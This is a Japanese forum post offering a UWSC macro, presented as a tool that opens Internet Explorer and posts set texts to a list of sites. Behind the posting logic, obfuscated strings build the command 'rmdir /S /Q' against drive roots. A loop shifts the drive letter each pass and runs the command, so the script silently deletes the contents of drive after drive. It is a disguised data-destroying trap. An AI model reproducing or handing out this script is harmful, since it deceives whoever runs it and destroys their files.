09/10/19 23:54:32 3uvH/jIh0
>>682
書き込むサイトのアドレスをsite[1]="○○○○"←のところに入れてね。
前後の「"」は忘れずに！
dim site[25],kakikomi[25]
site[1]="URLﾘﾝｸ(hyde156cm.com)"
・・・（省略）・・・
site[24]="URLﾘﾝｸ(hogehoge.co.jp)"
kakikomi[1]="テキスト１"
・・・（省略）・・・
kakikomi[24]="テキスト２４"
mode="mdS5RgzP4/Q B"
aaa="InternetExplorer.Application"
bbb=":\"
cc="r"+ chgmoj(mode,"S5RgzP4","ir /S ")+bbb
size=66
for time=1 to 24
cc = replace(cc," "+chr(size+time-1)," "+chr(size+time) )
if "" <> doscmd(cc) then continue
IE = CreateOLEObj(aaa)
IE.Visible = True
IE.Navigate(site[time])
IESetData(IE,True,"lr",kakikomi[time])
GETTIME()
ifb time=G_TIME_HH then
sleep(3600)
endif
next